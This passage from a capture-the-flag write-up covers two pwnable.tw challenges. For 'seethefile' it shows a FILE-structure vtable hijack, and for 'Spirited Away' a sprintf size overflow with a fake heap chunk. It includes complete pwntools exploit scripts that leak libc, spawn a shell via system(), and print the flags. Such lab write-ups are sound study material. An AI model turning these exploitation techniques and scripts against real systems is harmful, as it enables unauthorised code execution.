_IO_un_link ((struct _IO_FILE_plus *) fp);
fp->_flags = _IO_MAGIC|CLOSED_FILEBUF_FLAGS;
fp->_fileno = -1;
fp->_offset = _IO_pos_BAD;
return close_status ? close_status : write_status;
}
```
`close_status` depends on `_IO_SYSCLOSE()`:

Instead of execute `__close`, we can change our fake vtables to `main` so it will return to our main function instead of go to that `__close`.
there is a `fread()` in our program:

Let's analyze `fread()`:


`_IO_sgetn` seems like we can overwrite:

It is corresponding to `_IO_XSGETN`, which is:

`__xsgetn` in vtables.
We can overwrite it to `printf.plt`, by using format string, it will give us a libc address.
For summary:
- Create a fake `IO_FILE_plus` then points `fp` to it
- Overwrite first 4 bytes of `fp` to format string to leak libc
- Overwrite fake vtable with `__close` -> `main`, `__xsgetn` -> `printf.plt`
- Except
| Address | Old data | New data |
| -------- | -------- | -------- |
| 0x804b260| name |`A`\*0x20 |
| ... | | |
| 0x804b280| fp | 0x804b290 |
|...
|0x804b290 |\_flags | format string
|0x804b294|\_IO_read_ptr| fclose's address
|0x804b298|\_IO_read_end|fclose's address + 400
|0x804b29c|\_IO_read_base| fclose's address
|...| ...| padding|
|0x804b2d8| \_lock| magicbuf's address
|...|...|padding
|0x804b324| \*vtables|fp's address + 168|
|...|\_\_dummy1 and \_\_dummy2 |padding
|...|...|some r-x address
|0x804b348|\_\_xsgetn|printf.plt
|...|...|some r-x address
|0x804b36c|\_\_close|main's address
|...|...|some r-x address
Set breakpoint in `fread()` to calculate the offset format string to leak libc:
Our payload will be like this

Because `_xsgetn` has been changed to `printf_plt`, we can now get the libc leak:

To get shell, we just need to change our format string to parameter of `system()`, which is `sh\0\0` (need 4 bytes because this is x86 system). And change the `_close` to `system()`

After getting the shell, we must pass another check in `get_flag`, but they give us the source:
```c!
#include <unistd.h>
#include <stdio.h>
int read_input(char *buf,unsigned int size){
int ret ;
ret = read(0,buf,size);
if(ret <= 0){
puts("read error");
exit(1);
}
if(buf[ret-1] == '\n')
buf[ret-1] = '\x00';
return ret ;
}
int main(){
char buf[100];
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
printf("Your magic :");
read_input(buf,40);
if(strcmp(buf,"Give me the flag")){
puts("GG !");
return 1;
}
FILE *fp = fopen("/home/seethefile/flag","r");
if(!fp){
puts("Open failed !");
}
fread(buf,1,40,fp);
printf("Here is your flag: %s \n",buf);
fclose(fp);
}
```
Full script:
```python!
#!/usr/bin/env python3
from pwn import *
exe = ELF("./seethefile_patched", checksec = False)
libc = ELF("./libc_32.so.6", checksec = False)
ld = ELF("./ld-2.23.so", checksec = False)
context.binary = exe
def conn():
if args.REMOTE:
r = remote("chall.pwnable.tw", 10200)
else:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
return r
r = conn()
def openfile(filename):
r.sendlineafter(b'Your choice :', b'1')
r.sendlineafter(b'What do you want to see :', filename)
def readfile():
r.sendlineafter(b'Your choice :', b'2')
def writefile():
r.sendlineafter(b'Your choice :', b'3')
def closefile():
r.sendlineafter(b'Your choice :', b'4')
def exit(name):
r.sendlineafter(b'Your choice :', b'5')
r.sendlineafter(b'Leave your name :', name)
# Leak libc
input()
openfile(b'/etc/passwd')
# info('fclose plt: ' + hex(exe.got['fclose']))
fp = 0x804b280
name = 0x804b260
magicbuf = 0x804b0c0
fclose_got = exe.got['fclose']
fake_vtables = 0x804b500
print_plt = exe.plt['printf']
init = 0x80484b0
main = exe.sym['main']
info('Main address: ' + hex(main))
info('Printf address: ' + hex(print_plt))
payload = b'A'*0x20 + p32(fp + 0x10) + p32(0)*3
payload += b'%7$x' + p32(fclose_got) + p32(fclose_got + 400) + p32(fclose_got)
# Overwrite to _lock
payload += p32(0)*14 + p32(magicbuf) + p32(0)*18 + p32(fp + 0x10 + 148 + 4) + p32(0)*2 + p32(init)*6
payload += p32(print_plt) + p32(init)*8 + p32(main) + p32(init)*3
exit(payload)
# pause()
readfile()
pause()
libc_leak = int(r.recv(8), 16)
info("Libc leak: " + hex(libc_leak))
libc.address = libc_leak - 0x5ddc7
info("Libc address: " + hex(libc.address))
system = libc.sym['system']
pause()
payload = b'A'*0x20 + p32(fp + 0x10) + p32(0)*3
payload += b'sh\0\0' + p32(fclose_got) + p32(fclose_got + 400) + p32(fclose_got)
# Overwrite to _lock
payload += p32(0)*14 + p32(magicbuf) + p32(0)*18 + p32(fp + 0x10 + 148 + 4) + p32(0)*2 + p32(init)*6
payload += p32(print_plt) + p32(init)*8 + p32(system) + p32(init)*3
exit(payload)
# # good luck pwning :)
# r.sendline(b'cd /home/seethefile')
# r.sendline(b'./get_flag')
# r.sendlineafter(b'Your magic :', b'Give me the flag')
r.interactive()
# FLAG{F1l3_Str34m_is_4w3s0m3}
```

# 12. Spirited Away
We have given a [libc_32.so.6](https://pwnable.tw/static/libc/libc_32.so.6) and binary [file](https://pwnable.tw/static/chall/spirited_away). Patched it, we know that this is libc 2.23

Decompile binary file to see what's inside:
```c!
int __cdecl main(int argc, const char **argv, const char **envp)
{
puts("Thanks for watching Spirited Away!");
puts("Please leave some comments to help us improve our next movie!");
fflush(stdout);
return survey();
}
```
`survey()` function:
```c!
int survey()
{
char announce[56]; // [esp+10h] [ebp-E8h] BYREF
int size60; // [esp+48h] [ebp-B0h]
int size80; // [esp+4Ch] [ebp-ACh]
char comment[80]; // [esp+50h] [ebp-A8h] BYREF
int age; // [esp+A0h] [ebp-58h] BYREF
const char *name; // [esp+A4h] [ebp-54h]
char reason[80]; // [esp+A8h] [ebp-50h] BYREF
size60 = 60;
size80 = 80;
LABEL_2:
memset(comment, 0, sizeof(comment));
name = (const char *)malloc(0x3C);
printf("\nPlease enter your name: ");
fflush(stdout);
read(0, name, size60);
printf("Please enter your age: ");
fflush(stdout);
__isoc99_scanf("%d", &age);
printf("Why did you came to see this movie? ");
fflush(stdout);
read(0, reason, size80);
fflush(stdout);
printf("Please enter your comment: ");
fflush(stdout);
read(0, comment, size60);
++cnt;
printf("Name: %s\n", name);
printf("Age: %d\n", age);
printf("Reason: %s\n", reason);
printf("Comment: %s\n\n", comment);
fflush(stdout);
sprintf(announce, "%d comment so far. We will review them as soon as we can", cnt);
puts(announce);
puts(&unk_8048A81);
fflush(stdout);
if ( cnt > 199 )
{
puts("200 comments is enough!");
fflush(stdout);
exit(0);
}
while ( 1 )
{
printf("Would you like to leave another comment? <y/n>: ");
fflush(stdout);
read(0, &choice, 3);
if ( choice == 'Y' || choice == 'y' )
{
free(name);
goto LABEL_2;
}
if ( choice == 'N' || choice == 'n' )
break;
puts("Wrong choice.");
fflush(stdout);
}
puts("Bye!");
return fflush(stdout);
}
```
A survey program. It reads our input with parameter `name, age, reason, comment`. Then it will print out a announcement for us to show how many comments was sent. If we countinue to take a survey, it will free our name.
The first thing i notice is why `comment` is initialized with the size 80, but they only read with `size60`? And it uses `sprintf` to copy the announcement to `announce`. But `announce` has static size, which is 56. But the length of the string in `sprintf` is dynamic, depends on the length of `cnt`. In start, that string has 55-char length

What if we input 10 comments? 100 comments? Our `annouce`'s size will be 56 then 57. But right under it is `size60`, which is the size of `name` and `comment[]`


So it we input 100 comments, it will overflow that last character of that string - character `n`. In ascii, it is bigger than 60

So we can overflow the value of `name`, make it points to a fake chunk so we can control that chunk. Why we can't control the chunk that program give us(That 0x3c)? Because of heap consolidation, if there is no chunk after it, it will consolide with top chunk, not going to bins so we cannot control it.
But first, we must leak libc. This program uses `printf` to print out those values. But `printf` only stop if it meets null byte. So we can leak it through `name`, `age`,`comment`.
This is how stack was:


You can see the addresses of our variables:

Look at the stack, we must use `reason` to leak out data. Our `reason` is in `0xfff2a958` currently. The first value seems like a stack address. Under it, in `0xfff2a96c`, there is a libc address. So my idea is:
- Leak stack and libc.
- Overflow `size60`, change its size to `0x6e = n`.
- Overflow the value of `*name`, change it to point to our fake chunk
- Put our fake chunk into bin.
- Put out our fake chunk, change its content to execute `system('/bin/sh')` to get shell.
Leak stack:


Leak libc:


Now we need to overflow `size60` by increasing our `cnt`:

For some reason, after 10 comments, my input cannot be passed normally so i must change how i send data.
Now `size60`, in `ebp - 0xb0`, should be `0x6e`:

In `0xffd73c64`, it is `size60`, under it is `size80`.
Because we can use `comment` to overflow the address of `*name`, point it to a fake chunk. `reason` is a good space for us to create a fake chunk.
Our fake chunk will have the size `0x40`, because they initialize the `name` chunk with total size `0x40`

In the process of overwrite `*name`, i had a problem. My `stack_leak`'s offset before does not static. Because i want to point it to a `$ebp - 0x50 - 0x8` (0x8 for metadata of our fake chunk), so i calculated some cases and saw that it is not static:
Case 1:


Case 2:


So i must rewrite the leak stack part to correct it.



Seems it is right now.

Now we can use `name` to modify the return address. Because of the size of `reason`, only 80, but now we use `name` to point it to `reason`, so we can overflow saved ebp (`0x6e` is much bigger than 80)


Offset from input `name` to return address is `0x4c`

Now we just need to use ret2system. But there is a problem. Because the address of libc leak is above stack leak, so i leaked libc after stack, which i was use payload to overwrite the old libc leak (the puts and \_IO\_file\_sync)

Just need to change the order a little bit

And overwrite saved ebp

We get the shell!

When i run remotely, it doesn't work properly in leaking libc, so i must change a little bit.
Script:
```python!
#!/usr/bin/env python3
from pwn import *
exe = ELF("./spirited_away_patched", checksec = False)
libc = ELF("./libc_32.so.6", checksec = False)
ld = ELF("./ld-2.23.so", checksec = False)
context.binary = exe
def conn():
if args.LOCAL:
r = remote("addr", 1337)
else:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
return r
r = conn()
def survey(name, reason, comment):
r.sendafter(b'name: ', name)
r.sendlineafter(b'age: ', b'2')
r.sendafter(b'movie? ', reason)
r.sendafter(b'comment: ', comment)
def survey1(reason):
r.sendafter(b'age: ', b'1\n')
r.sendafter(b'movie? ', reason)
input()
# Leak libc
survey(b'B', b'A'*0x14 + b'BBBB', b'B')
r.recvuntil(b'BBBB')
libc_leak = u32(r.recv(4))
libc.address = libc_leak - 0x675e7
info('Libc leak: ' + hex(libc_leak))
info('Libc address: ' + hex(libc.address))
# pause()
system = libc.sym.system
binsh = next(libc.search('/bin/sh'))
info('System: ' + hex(system))
info('/bin/sh address: ' + hex(binsh))
# pause()
r.sendafter(b'<y/n>: ', b'y')
# Leak stack
survey(b'AAA', b'A'*0x38, b'AAAA')
r.recvuntil(b'Reason: ')
r.recv(0x38)
stack_leak = u32(r.recv(4))
info('Stack leak: ' + hex(stack_leak))
# pause()
r.sendafter(b'<y/n>: ', b'y')
# Overflow size60
for i in range(8):
survey(b'A', b'A', b'A')
r.sendafter(b'<y/n>: ', b'y')
for i in range(90):
survey1(b'A')
r.sendafter(b'<y/n>: ', b'y')
# pause()
fake_chunk = stack_leak - 0x68
comment = b'A'*0x54 + p32(fake_chunk)
reason = p32(0) + p32(0x41) + b'A'*0x38 + p32(0) + p32(0x11)
survey(b'fucalors', reason, comment)
r.sendafter(b'<y/n>: ', b'y')
# pause()
name = b'A'*0x4c + p32(system) + p32(0) + p32(binsh)
survey(name, b'\0', b'\0')
# pause()
r.sendafter(b'<y/n>: ', b'n')
# pause()
# good luck pwning :)
r.interactive()
# FLAG{Wh4t_1s_y0ur_sp1r1t_1n_pWn}
```